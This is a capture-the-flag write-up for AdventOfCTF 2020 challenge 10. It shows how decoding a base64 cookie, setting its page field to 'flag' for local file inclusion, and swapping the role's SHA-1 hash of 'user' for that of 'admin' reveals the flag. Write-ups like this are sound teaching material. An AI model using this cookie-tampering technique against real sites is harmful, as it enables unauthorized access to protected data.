2.6 KiB
+++ author = "Maik de Kruif" title = "Challenge 10 - AdventOfCTF" date = 2020-12-11T22:12:42+01:00 description = "A writeup for challenge 10 of AdventOfCTF." cover = "img/adventofctf/2020/ba15475608ea3f8313825eec5dceac06.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", ] categories = [ "ctf", "writeups", "hacking", ] +++
- Points: 1000
Description
When files are included things can get real messy. The flag is in flag.php.
Visit https://10.adventofctf.com to start the challenge.
Finding the vulnerability
When opening the website we get some text but it is not really useful. So let's go to /flag.php because the description told us the flag is there.
When opening /flag.php we get a message "You are on the right page, but you cannot see what you want yet. Go get promoted!". Hmm, let's take a look at the cookies.
We find one cookie: zeroten=eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0%3D. this looks base64 encoded, so let's try to decode it:
echo -n "eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=" | base64 -d
{ "page": "main", "role": "12dea96fec20593566ab75692c9949596833adc9" }
We see that we have a page and a role. Let's try to replace modify page to "flag".
echo -n '{"page":"flag","role":"12dea96fec20593566ab75692c9949596833adc9"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=
We changing the cookie to the new value we get.. nothing... After going back to the home page, we get the text of /flag.php so this is probably Local File Inclusion. Let's take another look at the role. I don't recognize the format so let's try our friend Google.
It looks like it is the SHA-1 hash of "user". We could try to replace the role with the SHA-1 hash of "admin". We can use an online sha1 converter to do this. The output is d033e22ae348aeb5660fc2140aec35850c4da997. Now we base64 encode this and put it back into the cookie.
echo -n '{"page":"flag","role":"d033e22ae348aeb5660fc2140aec35850c4da997"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiJkMDMzZTIyYWUzNDhhZWI1NjYwZmMyMTQwYWVjMzU4NTBjNGRhOTk3In0=
Solution
If we now reload the home page, we're greeted with the flag: NOVI{LFI_1s_ask1ng_f0r_tr0bl3}.
This flag can then be submitted for the challenge.